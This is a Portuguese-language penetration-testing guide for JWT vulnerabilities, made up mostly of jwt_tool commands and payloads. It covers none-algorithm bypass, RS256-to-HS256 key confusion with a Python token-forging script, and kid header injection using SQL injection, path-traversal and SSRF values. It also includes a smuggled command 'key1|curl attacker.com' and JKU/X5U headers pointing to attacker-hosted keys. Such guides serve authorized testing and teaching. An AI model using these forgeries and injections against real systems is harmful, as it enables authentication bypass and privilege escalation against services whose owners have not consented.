Testando Vulnerabilidades de JSON Web Token (JWT)

Quando Usar

• Ao testar aplicações que usam JWT para autenticação e gerenciamento de sessão
• Durante avaliações de segurança de API onde JWTs são usados para autorização
• Ao avaliar implementações de OAuth 2.0 ou OpenID Connect que usam JWT
• Durante testes de penetração de sistemas de Single Sign-On (SSO)
• Ao auditar configurações de bibliotecas JWT para vulnerabilidades conhecidas

Pré-requisitos

• jwt_tool (toolkit de exploração de JWT em Python)
• Burp Suite com a extensão JWT Editor
• jwt.io para decodificar e inspecionar a estrutura do JWT
• Compreensão da estrutura do JWT (header.payload.signature) e algoritmos (HS256, RS256)
• hashcat ou john para brute-force de segredos fracos de JWT
• Biblioteca PyJWT do Python para scripts customizados de forjamento de JWT
• Acesso à aplicação que usa autenticação baseada em JWT

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Passo 1 — Decodificar e Analisar a Estrutura do JWT

# Install jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git

# Decode JWT without verification
python3 jwt_tool.py <JWT_TOKEN>

# Decode manually with base64
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d

# Examine JWT in jwt.io
# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)

# Example JWT header inspection
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# Look for: alg, kid, jku, jwk, x5u, x5c headers

Passo 2 — Testar Bypass do Algoritmo "None"

# Change algorithm to "none" and remove signature
python3 jwt_tool.py <JWT_TOKEN> -X a

# Manual none algorithm attack:
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Encode new header, keep payload, remove signature (empty string after last dot)

# Variations to try:
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"

# Send forged token
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin

# jwt_tool automated none attack
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin

Passo 3 — Testar Confusão de Algoritmo (RS256 para HS256)

# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret

# Step 1: Obtain the public key
# From JWKS endpoint
curl http://target.com/.well-known/jwks.json

# From SSL certificate
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
  openssl x509 -pubkey -noout > public_key.pem

# Step 2: Forge token using public key as HMAC secret
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem

# Manual algorithm confusion:
# Change header from {"alg":"RS256"} to {"alg":"HS256"}
# Sign with public key using HMAC-SHA256
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
    public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"

Passo 4 — Testar Injeção do Parâmetro Key ID (kid)

# SQL Injection via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
  -S hs256 -p "secret-key"

# Path Traversal via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
  -S hs256 -p ""

# Kid pointing to empty file (sign with empty string)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""

# SSRF via kid (if kid fetches remote key)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"

# Command injection via kid (rare but possible)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"

Passo 5 — Testar Injeção de Cabeçalho JKU/X5U

# Injeção JKU (JSON Web Key Set URL)
# Apontar jku para JWKS controlado pelo atacante
# Passo 1: Gerar par de chaves
python3 jwt_tool.py <JWT_TOKEN> -X s

# Passo 2: Hospedar JWKS em servidor do atacante
# jwt_tool gera jwks.json - hospede-o em http://atacante.com/.well-known/jwks.json

# Passo 3: Modificar cabeçalho JWT para apontar para JWKS do atacante
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://atacante.com/.well-known/jwks.json"

# Injeção X5U (X.509 certificate URL)
# Similar ao JKU, mas usando cadeia de certificados X.509
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://atacante.com/cert.pem"


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